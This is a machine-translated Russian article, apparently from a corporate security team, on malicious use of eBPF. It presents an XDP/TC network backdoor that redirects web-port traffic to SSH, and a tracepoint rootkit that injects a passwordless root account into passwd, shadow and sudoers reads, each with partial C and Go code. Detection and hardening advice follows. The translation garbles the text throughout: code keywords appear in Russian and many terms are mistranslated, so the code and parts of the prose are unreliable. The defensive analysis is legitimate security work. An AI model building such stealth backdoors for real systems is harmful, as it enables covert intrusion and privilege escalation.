Предисловие
В последние годы облачное нативное пространство развивается семимильными шагами, и K8s стала признанной облачной операционной системой. Высокая частота развертывания контейнеров, короткий жизненный цикл и сложная сетевая маршрутизация привели к появлению новых проблем с безопасностью ядра. Сложность, с которой сталкивается ядро системы, растет, и крайне сложно удовлетворить новые требования к производительности и масштабируемости, обеспечив при этом стабильность и доступность системы. В это время появился eBPF, который гарантирует стабильность ядра системы при небольших изменениях подсистем, а также обладает функцией динамической загрузки в реальном времени, которая позволяет загружать бизнес-логику в ядро для динамического выполнения горячих обновлений.
eBPF был разработан на основе BPF, известного как Berkeley Packet Filter, предложенного Стивеном МакКанном и Ваном Якобсоном в 1992 году, внедренного в ядро Linux 2.1 в 1997 году и дополненного компилятором на лету в 3.0, который используется в области сетевой фильтрации. в 2014 году Алексей Старовойтов реализовал eBPF и расширил его на пользовательское пространство для еще большей мощности. На нем основаны широко используемые TCPDUMP и LIBPCAP. В Linux Kernel 4.x были расширены такие типы событий, как функции состояния ядра, функции состояния пользователя, точки трассировки, события производительности (perf_events) и элементы управления безопасностью. Особенно в последние годы стремительное развитие облачных технологий привело к процветанию eBPF. Такие компании, как Microsoft, Google и Facebook, основали Фонд eBPF, а Cilium выпустила сетевые продукты, реализованные на основе технологии eBPF. Однако, несмотря на то что технология eBPF способствует быстрому развитию новых предприятий, она также несет в себе угрозы безопасности.
Анализ текущей ситуации
Из зарубежной и отечественной информации мы видим, что eBPF злонамеренно используется многими нелегальными организациями и учреждениями при решении многих технических проблем.
Зарубежная информация
Черная шляпа
На конференции Black Hat 2021 инженер Datadog Гийом Фурнье представил доклад на темуС такими друзьями, как eBPF, кому нужны враги?В своих статьях он описывает, как можно использовать eBPF в злонамеренных целях, в том числе как создать руткит, как его эксплуатировать, и помещает код защиты от обнаружения наGitHub Вверх.
DEFCON
На конференции DEF CON29 исследователь безопасности Пэт Хоган (Pat Hogan) также рассказал о некоторых случаях использования eBPF в злонамеренных целях:Искажение реальности - создание и противодействие следующему поколению Linux-руткитов с помощью eBPF. , где описаны сценарии применения руткита eBFP, включая сетевой, исполнительный и другие сценарии, а также способы обнаружения вредоносной эксплуатации eBPF. Код также размещен вGitHub Вверх.
Внутренняя информация
В отличие от зарубежных стран, в Китае меньше информации о вредоносном использовании eBPF и меньше обмена соответствующими технологиями.Возможно, этот аспект опасности еще не привлек внимания наших коллег по внутренней безопасности, и если так будет продолжаться и дальше, это неизбежно скажется на способности отечественных компаний винформационная безопасностьСтроительство системы обороны на уровне, что в свою очередь приводит к отставанию в защите безопасности от зарубежных стран, что несет большие риски для безопасности предприятий и даже национальной безопасности. Meituan (китайская компания)информационная безопасностьКоманда, как создатель системы защиты, несет ответственность и обязана добиваться лучшего понимания этой вредоносной эксплуатации, делиться опытом Миссии по ее обнаружению и защите, а также укреплятьинформационная безопасностьпродукты, надеясь внести свой скромный вклад в построение отечественной информационной безопасности.
Принципы атак для вредоносной эксплуатации технологии eBPF
Знать врага и знать себя - единственный способ сражаться в ста битвах. Чтобы создать хорошую защиту, нужно понять принцип ее атаки. Давайте сначала посмотрим, как устроен руткит eBPF. Если посмотреть на функциональность eBPF, то она включает в себя следующие области:
- ретикуляция
- управление
- наблюдение (научное и т.д.)
- Отслеживание и анализ производительности
- поручительство
существоватьретикуляцияВ области облачных технологий такие компании, как Cilium, создали множество продуктов сетевого уровня, которые реализуют управление сеткой и соответствующие политики безопасности на сетевом уровне, особенно в области сетевой оркестровки, которая показала себя особенно хорошо, постепенно вытесняяiptablesи другие товары, существует большая тенденция к унификации мира. И вуправление,наблюдение (научное и т.д.)Существует также множество продуктов в таких областях, как. Особенно в области безопасности во время выполнения (Runtime Security), Datadog, Falco, Google и другие компании также выпустили соответствующие продукты. Если вам интересно, вы можете обратиться к анализу исходного кода продукта (Анализ исходного кода механизма реализации Cilium eBPF,Анализ механизма обнаружения безопасности eBPF от Datadog) совместного использования.
Мы рассмотрим точки крепления технологии eBPF:
Как видно из рисунка, функция точки зацепления eBPF состоит из следующих частей:
- Это может быть хранилище, сеть и т. д. для взаимодействия с ядром;
- Это также может быть взаимодействие между функциональными блоками в ядре;
- Опять же, это может быть взаимодействие между состоянием ядра и состоянием пользователя;
- Более того, он может находиться в пространстве пользовательского процесса.
Функции eBPF охватывают XDP, TC, Probe, Socket и т. д. Каждая из них позволяет осуществлять несанкционированное вмешательство в состояние ядра, что делает пользовательское состояние полностью слепым, даже если HIDS на основе модуля ядра не в состоянии воспринять это поведение.
Исходя из функциональных возможностей eBPF, с точки зрения бизнес-сценариев, функции классов сети, мониторинга и наблюдения способствуют развитию продуктов в облачно-нативной сфере; функции классов отслеживания/анализа производительности и безопасности ускоряют эволюцию продуктов защиты и аудита безопасности; а вредоносная эксплуатация в сфере безопасности также станетхакерНаправление беспокойства. В этой статье мы расскажем о новых угрозах и идеях защиты.
С точки зрения стадии потока данных эта статья разделена на две части, за которыми следует обсуждение вредоносной эксплуатации, опасностей и идей защиты.
- Вредоносная эксплуатация сетевого уровня Linux
- Вредоносная эксплуатация времени выполнения Linux
Вредоносная эксплуатация сетевого уровня Linux
Возьмем в качестве примера сервер с SSH и веб-службами: в общей политике доступа к сети IDC публичный порт Web 80 открыт для доступа по IP из любого источника. А служба SSH разрешает доступ только к определенному IP или только к открытому порту интрасети.
Предположим, что этот сервер был взломан, и хакеру нужно оставить за собой черный ход, а для этого ему нужен скрытый надежный сетевой канал, чтобы действовать в качестве черного хода, как это можно сделать с помощью технологии eBPF?
Уровень XDP/TC изменяет пакеты TCP
Чтобы бэкдор скрывался лучше, лучше не открывать процесс и не прослушивать порт (в данной части мы обсуждаем только скрытие на сетевом уровне). Технология eBPF, использующая XDP, TC, Socket и другие функции уровня ядра, позволяет модифицировать информацию о трафике, эти функции часто используются для балансировки нагрузки в сетях L3, L4. Например, все сетевые политики Cilium основаны на реализации eBPF XDP. eBPF подключается к точке XDP, изменяет IP назначения TCP-пакета, а ядро системы затем пересылает пакет.
В соответствии с XDP и TC в ядре Linux, местоположение входа и выхода обрабатывается для более точного определения точки зацепления.
- XDP имеет тип процедуры BPF_PROG_TYPE_XDP, который может отбрасывать, изменять и повторно передавать трафик на входе, но не может работать на выходе.
- TC's BPF_PROG_TYPE_SCHED_CLS может работать на выходе в дополнение к функциональности XDP "BPF_PROG_TYPE_XDP".
Наиболее распространенный сценарий использования первого - это сетевые брандмауэры для очистки сетевого трафика, которые гораздо эффективнее традиционных брандмауэров. Второй обычно используется в сценариях "облака", контейнеров, мониторинга сети Pod, контроля доступа к безопасности и так далее. В данном примере необходимо регулировать как входящий, так и исходящий трафик, поэтому обе точки подключения должны быть доступны. Аналогично, в XDP и других фазах хука, где обрабатывается соответствующая логика пакетов, коммуникационные пакеты могут быть лучше скрыты, tcpdump и другие инструменты не смогут их поймать.
контрольная ссылка
В сценарии бэкдора вы можете изменить целевой порт с 80 в Web Nginx на 22 в SSHD в том же месте, как и в случае с балансировкой нагрузки eBPF, и добиться прохода сетевых данных, обходя брандмауэры и ограничения доступа к сети.
ключ аутентификации
Поскольку руткит работает на уровне XDPTC, то для максимальной простоты лучше всего использовать для ключа аутентификации только данные канального, сетевого и транспортного уровней, т. е. информацию о MAC, квинтет IP и т. д. IP часто меняются, а MAC-адрес, скорее всего, уникален, как и установка фиксированного порта, который еще более уникален, поскольку на нем можно реализовать ключ аутентификации для руткита (требуется следующее Клиент должен указать TCP-порт клиента, когда клиент инициирует соединение).
eBPF uprobe связан с картой eBPF
Для обновления ключей руткитов бэкдоров также полезно использовать eBPF. Например, в сценарии с Nginx uprobe реализует HTTP-функцию hook для получения определенной строки в параметрах URL, а затем сохраняет ее в карте eBPF, что и обеспечивает обновление ключа.
Руткит eBPF, выполняемый на уровне XDP/TC, считывает ключ в карте eBPF и выполняет операцию сравнения.
Процесс реализации
Вот пример того, как XDP обрабатывает входящие данные:
SEC ("xdp/ingress")
int xdp_ingress(struct xdp_md *ctx) {
struct курсор c.
struct pkt_ctx_t pkt.
//Определите, является ли протокол SSHD, если нет, то непосредственно освободите
если (! (не протокол SSHD(&c))) {
возврат XDP_PASS.
}
// Определите, соответствует ли руткит и совпадает ли информация о сетевой карте с портом источника.
hack_mac[] = "Чтение конфигурации карты bpf".
если(несовпадение ключей) {
возврат XDP_PASS.
}
// Прочитайте карту, чтобы узнать, существует ли уже данный клиент.
struct netinfo client_key = {};
__builtin_memcpy(&client_key.mac, &pkt.eth->h_source, ETH_ALEN);
struct netinfo *client_value.
client_value = bpf_map_lookup_elem(&ingress_client, &client_key);
// Если вы не найдете маскировку, соберите ее сами.
если(!client_value) {
__builtin_memset(&client_value, 0, sizeof(client_value))
} else {
bpf_map_update_elem(&ingress_client, &client_key, &client_value, BPF_ANY);
}
// Маскировка mac LAN mac информации
pkt.eth->h_source[0] = 0x00;
...
// Замените ip источника маскарада, оставив порт клиента неизменным.
// Измените порт назначения
pkt.tcp->dest = htons(FACK_PORT); //22
// Вычислить TCP SUM уровень 4
ipv4_csum(pkt.tcp, sizeof(struct tcphdr), &csum);
pkt.tcp->check = csum;
// Напишите замаскированную карту для TC для обработки оригинальной mac, IP информации восстановления выхода.
возврат XDP_PASS.
}
Для маскировки TCP-пакетов на стороне выхода можно реализовать относительно простую демонстрацию. Аналогичным образом, когда уровень TC обрабатывает пакеты в направлении выхода, ему нужно только уменьшить исходную информацию замаскированных пакетов. Весь процесс показан на следующем рисунке:
Таким образом, коммуникационный канал руткита не влияет на обычный доступ пользователя, и в исходную систему не вносится никаких изменений, что делает его особенно хорошо скрытым.
Демонстрация видео
Для тестирования мы подготовили три хоста:
- Нарушитель: cnxct-mt2 с IP 172.16.71.1.
- Обычный пользователь: ubuntu с IP 172.16.71.3.
- Скомпрометированный сервер: vm-ubuntu, IP 172.16.71.4. Откройте веб-порт nginx 80; откройте порт SSHD 22 и установите правило iptables, разрешающее доступ только по IP-адресу интрасети.
угрожать
Этот руткит не создает активных сокетов и заимствует один из сетевых пакетов отправки, чтобы доставить сообщение пользователю бэкдора. С точки зрения воздействия на систему это просто маленький, незначительный сетевой ответ. Его вообще невозможно обнаружить в тысячах HTTP-пакетов.
- Обход брандмауэра iptables: Используйте порт 80, открытый для публики, в качестве коммуникационного туннеля;
- Обход WebIDS: Трафик поступает на сервер и не передается в Nginx;
- Обход NIDS: Нет ничего необычного в том, что трафик злоумышленников проходит между локальными сетями, он просто не может быть расшифрован;
- Обходной путь HIDS: Доверен ли брандмауэр, чтобы игнорировать входы в систему SSHD из локальных/ LAN источников.
Вредоносная эксплуатация времени выполнения Linux
В экосистеме облачных вычислений появилось большое количество плагинов для управления сетями кластеров на основе реализаций технологии eBPF, таких как Calico, Cilium и т. д. Бизнес-сервисы управления сетью развертываются в виде контейнеров, и для поддержки системных вызовов eBPF необходимо включить привилегии SYS_BPF_ADMIN для этих контейнеров. Среда, в которой работают эти службы, также оставляет злоумышленникам прекрасное пространство для игры.
Процесс реализации
Напомним, что тип событий eBPF hook point, kprobe, tracepoint в syscall, если использовать его в сценарии руткита с бэкдором, очень страшен. Например, изменить состояние ядра, чтобы вернуться к данным пользовательского состояния, перехватить и заблокировать поведение пользовательского состояния и т. д., делайте все, что хотите. Что еще более страшно, так это то, что обычные HIDS основаны на состоянии ядра или состоянии пользователя для поведенческого мониторинга, а eBPF точно обходит большую часть мониторинга HIDS и не генерирует никаких логов, просто позволяя людям "думать о страшном, вздрагивать".
крючок типа события точки отслеживания
В приложениях SSHD, когда пользователь входит в систему, считываются такие файлы, как /etc/passwd. Программа SSHD, находящаяся в состоянии пользователя, вызывает системные вызовы, такие как open, read и т. д., чтобы позволить ядру обратиться к аппаратному диску для получения данных и вернуть их процессу SSHD.
Userland генерирует полезную нагрузку
Состояние пользователя реализует генерацию полезных нагрузок для таких файлов, как /etc/passwd, /etc/shadow и т. д., и завершает замену значений полей для ELF .rodata с помощью механизма RewriteConstants eBPF.
импорт "github.com/ehids/ebpfmanager"
// Передаем данные с помощью константной подстановки elf.
func (e *MBPFContainerEscape) constantEditor() []менеджер.ConstantEditor {
var имя пользователя = RandString(9)
var пароль = RandString(9)
var s = RandString(8)
соль := []байт(fmt.Sprintf("$6$%s", s))
// используйте соль для хэширования заданного пользователем пароля
c := sha512_crypt.New()
hash, err := c.Generate([])байт(пароль), соль)
var m = карта[строка]интерфейс{}{}
res := сделать([]байт, PAYLOAD_LEN)
var payload = fmt.Sprintf("%s ALL=(ALL:ALL) NOPASSWD:ALL #", имя пользователя)
копия(res, payload)
m["полезная нагрузка"] = res
m["payload_len"] = uint32(len(полезная нагрузка))
// Сгенерируйте строку passwd
var payload_passwd = fmt.Sprintf("%s:x:0:0:root:/root:/bin/bashn", имя пользователя)
// Создайте теневую строку
var payload_shadow = fmt.Sprintf("%s:%s:18982:0:99999:7:::n", имя пользователя, хэш)
// eBPF RewriteContants
var редактор = []manager.ConstantEditor{
{
Имя. "полезная нагрузка",
Значение: m["полезная нагрузка"],
FailOnMissing. истинный,
},
{
Имя. "payload_len",
Значение: m["payload_len"],
FailOnMissing. истинный,
},
}
возврат редактор
}
func (this *MBPFContainerEscape) setupManagers() {
this.bpfManager = &manager.Manager{
Зонды: []*manager.Probe{
{
Секция. "tracepoint/syscalls/sys_enter_openat",
EbpfFuncName. "handle_openat_enter",
AttachToFuncName. "sys_enter_openat",
}
...
},
Карты: []*manager.Map{
{
Имя. "события",
},
},
}
this.bpfManagerOptions = manager.Options{
...
// Заполните карту, соответствующую RewriteContants.
ConstantEditors: this.constantEditor(),
}
}
Состояние ядра с использованием полезной нагрузки
const летучие int payload_len = 0;
...
const летучие char (вычисления) payload_shadow[MAX_PAYLOAD_LEN].
SEC("tracepoint/syscalls/sys_exit_read")
int handle_read_exit(struct trace_event_raw_sys_exit *ctx)
{
// Определите, является ли поведение руткитом и нужно ли загружать полезную нагрузку.
...
длинный int read_size = ctx->ret;
// Определите, меньше ли длина исходного буфера, чем полезная нагрузка.
если (read_size < payload_len) {
возврат 0;
}
// Определите тип файла и добавьте соответствующую полезную нагрузку, если она совпадает.
переключатель (pbuff_addr->file_type)
{
дело FILE_TYPE_PASSWD.
// Перезапишите полезную нагрузку в буфер, используйте оригинальный буфер для любых недостатков.
{
bpf_probe_read(&local_buff, MAX_PAYLOAD_LEN, (void*)buff_addr).
для (unsigned int i = 0; i < MAX_PAYLOAD_LEN; i++) {
если (i >= payload_passwd_len) {
local_buff[i] = ' ';
}
else {
local_buff[i] = payload_passwd[i];
}
}
}
перерыв;
дело FILE_TYPE_SHADOW.
// Перезапишите теневой файл.
...
перерыв;
дело FILE_TYPE_SUDOERS.
//перезапись sudoers
...
перерыв;
по умолчанию:
возврат 0;
перерыв;
}
// Запись памяти полезной нагрузки в буфер
ret = bpf_probe_write_user((void*)buff_addr, local_buff, MAX_PAYLOAD_LEN).
// Отправляйте события в пользовательскую зону
возврат 0;
}
В соответствии с дизайном вышеупомянутого демо-руткита, он завершает добавление случайного имени пользователя и пароля к корневой учетной записи. Что касается аутентификации, он также может быть использован с демонстрацией "вредоносного использования сетевого уровня eBPF", используя взаимодействие карт eBPF для достижения соответствующей аутентификации. Однако сам руткит не изменяет файлы на жестком диске и не генерирует рискованное поведение. Более того, руткит охватывает только определенные процессы, что делает его более скрытным. Весь процесс показан на рисунке ниже:
Он работает одинаково, как на физической машине, так и в контейнере с правами root+BPF.
критическая опасность
В сценариях cloud-native существует множество сценариев контейнеров, которые предоставляют привилегии SYS_ADMIN, а с недавней уязвимостью "Java log4j" можно напрямую проникнуть в контейнер и получить привилегии хоста, разве это не ужасно?
Однако все гораздо страшнее:Сам руткит не генерирует журналы поведения пользователя, не изменяет файлы, и в системе не может быть найдено никакой информации об этом пользователе. Все поведение бэкдора не производит никаких данных и отключает большинство систем HIDS..
обзор
Из демонстрации двух сценариев в этой статье можно увидеть, я считаю, что мы уже знаем, что технология eBPF является вредоносным использованием опасностей. На самом деле, это только "верхушка айсберга" вредоносных преимуществ технологии eBPF, kproebuprobe также имеет множество функций, таких как реализация процесса сокрытия, отсутствие следов внутрисетевого сканирования и так далее. Для получения дополнительной информации о вредоносных эксплойтах вы можете обратиться к следующим ссылкамПлохой BPF - искажение реальности с помощью eBPFСтатья.
Если злоумышленник тщательно разработал руткит, скрытие процессов и т.д., чтобы руткит был более скрытым, в соответствии с идеями, изложенными в этой статье, для достижения "призракоподобного" бэкдора, подумайте, что заставляет людей бояться.
Обычные продукты для защиты безопасности хостов обычно используют Netlink, Linux Kernel Module и другие технологии для создания процессов, сетевого взаимодействия и других поведенческих признаков, в то время как точки захвата eBPF могут быть глубже этих технологий и выполняться раньше них, что означает, что обычные HIDS их не воспринимают и не обнаруживают.
Традиционные руткиты, использующие метод hook api, заменяют оригинальную функцию, в результате чего реализация адреса вызова функции изменяется, существуют зрелые механизмы обнаружения, eBPF hook отличается от традиционных руткитов, стек вызова функции не изменяется. Это приносит много проблем для обнаружения.
Как же обнаружить такие бэкдоры и защититься от них?
Обнаружение и защита
С точки зрения хода событий можно выделить три этапа:
- До начала эксплуатации
- время выполнения (в вычислительной технике)
- после пробежки
До начала эксплуатации
Идея сокращения поверхности атаки до запуска вредоносной программы является постоянной.
Экологические ограничения
Независимо от того, хост это или контейнер, разрешения сходятся, и если вы не можете дать SYS_ADMIN, CAP_BPF и другие разрешения, то отключите их. Если же вам необходимо открыть это разрешение, то его можно поставить только в сеансе обнаружения во время выполнения.
ограничения по сектору
При запуске контейнера измените стандартный seccomp.json, чтобы отключить системные вызовы bpf для предотвращения выхода контейнера из системы; обратите внимание, что этот метод не работает для контейнеров с привилегированными правами.
Ограничения параметров компиляции ядра
При изменении возвращаемого значения функции для защиты во время выполнения необходимо использовать bpf_override_return, что требует от ядра включения параметра компиляции CONFIG_BPF_KPROBE_OVERRIDE, поэтому не включайте этот параметр компиляции без особых обстоятельств.
Инструкция непривилегированного пользователя
Большинство типов программ eBPF требуют, чтобы пользователь с правами root вызывал их для выполнения. Есть несколько исключений, таких как BPF_PROG_TYPE_SOCKET_FILTER и BPF_PROG_TYPE_CGROUP_SKB, которые не требуют root, но требуют чтения системных конфигурационных переключателей.
//https://elixir.bootlin.com/linux/v5.16.9/source/kernel/bpf/syscall.c#L2240
если (type ! = BPF_PROG_TYPE_SOCKET_FILTER &&
тип ! = BPF_PROG_TYPE_CGROUP_SKB &&
!bpf_capable())
возврат -EPERM.
Подтверждение переключения
В /proc/sys/kernel/unprivileged_bpf_disabled это можно сделать, выполнив командуsysctl kernel.unprivileged_bpf_disabled=1
для изменения конфигурации. Значение конфигурации описано вДокументация для /proc/sys/kernel/.
- Значение 0 означает, что непривилегированным пользователям разрешено вызывать bpf;
- Значение 1 запрещает непривилегированным пользователям вызывать bpf, и это значение не может быть изменено, только после перезагрузки;
- Значение 2 означает, что непривилегированным пользователям запрещено вызывать bpf. Это значение может быть изменено на 0 или 1.
Характеристика
Было предложено выполнять проверку подписи, когда ядро загружает байткод BPF, чтобы достичь точки, когда загружается только безопасно подписанный байткод BPF. Эта тема также представлена на сайте lwn.net:Схема подписи байткода BPF.
Но многие также предлагаютвозражениеОни считают, что за последние несколько лет модуль BPF стал слишком абстрактным и сложным, поэтому они не хотят добавлять дополнительные функции, чтобы сделать BPF более нестабильным. Вместо этого они изменили свой подход к разрешению подписывать байт-код при его загрузке на "выполнение байт-кода BPF, загруженного пользовательской программой, который должен быть подписан", что является существующей функцией ядра, которая не увеличивает сложность системы.
В этой статье утверждается, что это снимает большинство проблем с загрузкой байткода BPF. Однако использование родных команд системы (tcipbpftool
и т. д.) все еще сталкиваются с угрозами, если они загружены. Например:ip link set dev ens33 xdp obj xdp-example_pass.o
.
Оперативные проверки
Большинство программ eBPF перестают существовать после перезагрузки, поэтому злоумышленники стараются сделать бэкдор как можно более самозапускающимся. Проверьте самозагрузку Linux-системы, кронтаб и другие запланированные задачи.
Программы пользовательского состояния могут существовать в различных формах, исполняемые файлы ELF, библиотеки динамических ссылок ELF. Во время выполнения должен быть вызван системный вызов BPF для загрузки байткода BPF. Делать обнаружение только для исполняемого ELF недостаточно точно.
время выполнения (в вычислительной технике)
управление
Все программы, работающие в системе Linux, должны выполнять системный вызов, и программа eBPF не является исключением. Необходимо вызвать инструкцию SYS_BPF с syscall 321. И все выполнение программы eBPF, создание карты должны выполнять этот системный вызов. Поэтому лучшим решением будет перехват и мониторинг на этом необходимом пути.
SEC ("tracepoint/syscalls/sys_enter_bpf")
int tracepoint_sys_enter_bpf(struct syscall_bpf_args *args) {
struct bpf_context_t *bpf_context = make_event();
если (!bpf_context)
возврат 0;
bpf_context->cmd = args->cmd;
get_common_proc(&bpf_context->procinfo) ;
send_event(args, bpf_context) ;
возврат 0;
}
Здесь наш проект ehids с открытым исходным кодом создал пример обнаружения системных вызовов BPF, который вы можете посмотреть в Fork. Адрес репозитория:GitHub/ehids.
Внимательный читатель может задаться вопросом, а что если бэкдор злоумышленника выполнится раньше и подделает этот системный вызов. Это очень хороший вопрос, который мы вынесем на обсуждение в главе, посвященной отслеживанию после выполнения. Но для большинства сценариев защитные продукты HIDS все равно могут быть первыми.
Аудит и скрининг
Выше мы обсудили мониторинг вызовов системы BPF. В облачных сценариях сетевые продукты, реализованные на основе eBPF, будут часто вызываться, что приведет к созданию большого количества журналов событий, а значит, увеличит нагрузку на студентов-операторов. Поэтому оптимизация и точная проверка поведения станет нашей следующей задачей.
Фильтрация в соответствии с "белым списком" программы
Фильтрация данных - решение проблемы давления больших объемов данных. На некоторых бизнес-серверах приложений BPF само бизнес-поведение будет генерировать большое количество вызовов, что приведет к еще большему давлению аудита на предупреждение безопасности. Для известных процессов мы можем фильтровать данные на основе характеристик процесса.
Получение pid, comm и других атрибутов текущего процесса и принятие решения о том, сообщать или нет, или перехватывать в соответствии с конфигурацией, записанной в eBPF map в пользовательском состоянии. Можно также выполнять фильтрацию в пользовательском состоянии, но состояние ядра более эффективно. Если вы делаете перехват, он должен быть реализован в состоянии ядра.
Вы можете обратиться кИдеи дизайна продукции saBPF использование eBPF для реализации процедур зацепления точек зацепления LSM для завершения соответствующих вызовов аудита. ХотяGitHub/saBPF-project Код проекта все еще остается лишь демо-версией, но идеи можно позаимствовать.
Фильтр по типу SYSCALL
В BPF syscall функции подкоманд включают map, prog и многие другие типы операций.Ссылка на подкоманду bpf() В реальных бизнес-сценариях риск безопасности операций "запись" выше, чем операций "чтение", поэтому мы можем отсеивать операции "чтение" и составлять отчеты и проводить аудит только операций "запись". Таким образом, мы можем отфильтровать операции "чтения" и составлять отчеты и проводить аудит только операций "записи".
Например:
- Создание карты BPF_MAP_CREATE
- Загрузка PROG BPF_PROG_LOAD
- BPF_OBJ_PIN
- BPF_PROG_ATTACH
- BPF_BTF_LOAD
- BPF_MAP_UPDATE_BATCH
Особенно бизнес-сценарии с требованиями BPF позволяют улучшить аудит журналов.
после пробежки
Несколько вопросов. Пользовательская программа eBPF взаимодействует с программой kernelland, после загрузки байткода BPF она может выйти? После выхода продолжает ли работать функция kernel hook BPF? Сохраняется ли созданная карта? Как выбрать программу-бэкдор, чтобы обеспечить лучшую скрытность?
Если мы хотим ответить на эти вопросы, то должны упомянуть механизм загрузки программ BPF, жизненный цикл объектов BPF.
Дескрипторы файлов и счетчики ссылок
Программы пользовательского состояния получают доступ к объектам BPF (программам, картам, отладочной информации) через файловые дескрипторы FD, каждый из которых имеет счетчик ссылок. Если пользовательское состояние открывает и считывает соответствующий FD, то соответствующий счетчик увеличивается. Если FD закрывается, счетчик ссылок уменьшается, и когда refcnt будет равен 0, ядро освободит объект BPF, после чего этот объект BPF больше не будет работать.
В сценарии безопасности, если бэкдор-процесс в пользовательском состоянии завершается, вместе с ним завершается и бэкдор-программа eBPF. Это может оказаться полезным при проверке безопасности на предмет наличия в списке процессов подозрительных процессов.
Однако не все объекты BPF завершаются с завершением пользовательского процесса. С точки зрения ядра, необходимо только убедиться, что refcnt больше 0, чтобы сохранить объект BPF живым и поддерживать работу бэкдорного процесса. На самом деле, среди типов программ BPF такие крючки, как XDP, TC и крючки на основе CGROUP, являются глобальными и не завершаются с завершением процесса пользовательского состояния. Соответствующий FD будет поддерживаться ядром, чтобы убедиться, что счетчик refcnt не равен нулю и, таким образом, продолжает работать.
выяснить происхождение чего-л.
Инженерам по безопасности часто приходится разрабатывать различные стратегии отслеживания в зависимости от различных сценариев. Все методы отслеживания, приведенные в данной статье, используют соответствующие интерфейсы eBPF, что означает:Если вредоносная программа была запущена раньше, чем инструмент проверки, то существует вероятность фальсификации результатов..
короткий жизненный цикл
Представление типа программы BPF
- k[ret]probe
- u[ret]probe
- точка трассировки
- raw_tracepoint
- perf_event
- фильтры для розеток
- so_reuseport
Характеристики основаны на управлении FD, автоматической очистке ядра, что лучше для стабильности системы. Бэкдор этого типа программ при устранении неполадок четко характеризуется как процесс пользовательского состояния. Его можно получить из списка запущенных в системе программ BPF.
инструменты bpftool
Список программ ЭБПФ
командаbpftool prog show
а такжеСправка по программе bpftool prog
Посмотреть другие параметры.
В результате вы можете увидеть программу BPF, запущенную в системе, связанный с ней идентификатор карты BPF и соответствующую информацию о процессе. Кроме того, внимательные читатели могут обнаружить, что в результате в данных XDP отсутствует информация об идентификаторе процесса, о чем мы поговорим позже.
Список карт eBPF
командаbpftool map show
а такжеПомощь по карте bpftool
Можно просмотреть дополнительные параметры.
Просматривая информацию карты, ее можно скорректировать с учетом информации о процессе. Кроме того, данные карты можно экспортировать для выявления вредоносного поведения процессов. Это обсуждается в разделе "Криминалистика".
bpflist-bpfcc
bpflist-bpfcc -vv
Команда позволяет увидеть список "некоторых" программ BPF, запущенных на сервере. В качестве примера возьмем тестовую среду:
root@vmubuntu:/home/cfc4n/project/xdp## bpflist-bpfcc -vv
откройте kprobes.
открыть uprobes.
PID COMM TYPE COUNT
1 systemd prog 8
10444 ehids map 4
10444 ehids prog 5
Вы видите, что системный процесс systemd запускает 8 прог. Процесс ehids создает 4 карты eBPF с 5 прогами, но на самом деле предшествующий процесс также выполняетip link set dev ens33 xdp obj xdp-example_pass.o
команда, которая здесь не показана. Это означает, что вывод этой команды не является таковым для всех программ bpf, maps.
длительный срок службы
Представление типа программы BPF
- XDP
- TC
- LWT
- CGROUP
В описанных выше сценариях загрузки байткода BPF с помощью команды ip часто случается, что инструмент BPF не может запросить его или информация отсутствует. Причину этого следует искать в принципе его работы.
Команда ip загружает принцип BPF
Жизненный цикл объектов BPF управляется с помощью ссылочного таймера - это общий принцип, которому должны следовать все объекты BPF. В отличие от этого, программы с длительным жизненным циклом начинают FD как пользовательские управляющие программы, передающие параметры в пространство ядра, которые затем обслуживаются пространством ядра.
С помощью ранее упомянутой команды IPip link set dev ens33 xdp obj xdp-example_pass.o
Например, параметр команды ip содержит имя файла байткода bpf, процесс ip открывает FD байткода .o, посылает сообщение типа IFLA_XDP (подтип IFLA_XDP_FD) ядру через NETLINK, ядро вызывает функцию dev_change_xdp_fd, и FD переходит к сетевой карте, счетчик ссылок увеличивается, а процесс ip в пространстве пользователя завершается, а программа BPF продолжает работать. Исходный код ядра см:elixir.bootlin.com/linux.
В этой статье мы выполнили захват пакетов, чтобы убедиться, что программа ip связана с типом программы XDP:
17:53:22.553708 sendmsg(3, {
{
msg_name={sa_family=AF_NETLINK, nl_pid=0, nl_groups=00000000},
msg_name={sa_family=AF_NETLINK, nl_pid=0, nl_groups=00000000}, msg_namelen=12,
msg_iov=[
{
iov_base={
{nlmsg_len=52, nlmsg_type=RTM_NEWLINK, nlmsg_flags=NLM_F_REQUEST|NLM_F_ACK, nlmsg_seq=1642672403, nlmsg_pid=0}, { nlmsg_family=NLM_F_REQUEST|NLM_F_ACK, nlmsg_seq=1642672403, nlmsg_pid=0}
{ifi_family=AF_UNSPEC, ifi_type=ARPHRD_NETROM, ifi_index=if_nametoindex("ens33"), ifi_flags=0, ifi_change=0},
{
{ nla_len=20, nla_type=IFLA_XDP}, {
[
{{nla_len=8, nla_type=IFLA_XDP_FD}, 6}, {{nla_len=8, nla_type=IFLA_XDP_FD}, [
{{nla_len=8, nla_type=IFLA_XDP_FLAGS}, XDP_FLAGS_UPDATE_IF_NOEXIST}
]
}
},
iov_len=52
}
],
msg_iovlen=1,
msg_controllen=0,
msg_flags=0
}, 0) = 52
Вы видите, что параметр FD после IFLA_XDP_FD равен 6. Аналогично, удаление программы XDP требует установки FD в -1, что соответствует составу пакета NETLINK следующим образом:
17:55:16.306843 sendmsg(3, {
{
...
{ nla_len=20, nla_type=IFLA_XDP}, { ...
[
{{nla_len=8, nla_type=IFLA_XDP_FD}, -1}, {{nla_len=8, nla_type=IFLA_XDP_FD}, {}
{{nla_len=8, nla_type=IFLA_XDP_FLAGS}, XDP_FLAGS_UPDATE_IF_NOEXIST}
] }
...
}, 0) = 52
Больше, чем просто команда ip.Классификатор команд TC Также поддерживает BPF-программы, загружая BPF-программы в качестве классификаторов и воздействуя на точки входа/выхода (ingress/egress hook points). Принцип работы аналогичен IP, но протокол NetLink взаимодействует с ядром, а сетевая карта поддерживает счетчики объектов BPF.
Механизм обнаружения
Используйте собственные команды ip, tc и другие, чтобы увидеть объекты BPF, загруженные сетевыми картами.
ip link show
tc filter show dev [имя карты] [ingress|egress]
Используйте команду bpftool, чтобы просмотреть
bpftool net show dev ens33 -p
Команда может использоваться для просмотра связанных с сетью точек подключения eBPF.
Загрузка программ типа BPF_PROG_TYPE_CGROUP_SKB и BPF_PROG_TYPE_CGROUP_SOCK для CGROUP может быть просмотрена с помощью команды bpftool prog show. Разница между программами BPF с длинным и коротким жизненным циклом заключается в отсутствии PID-информации процесса в пользовательском пространстве. Это показано на следующем рисунке:
BPFFS
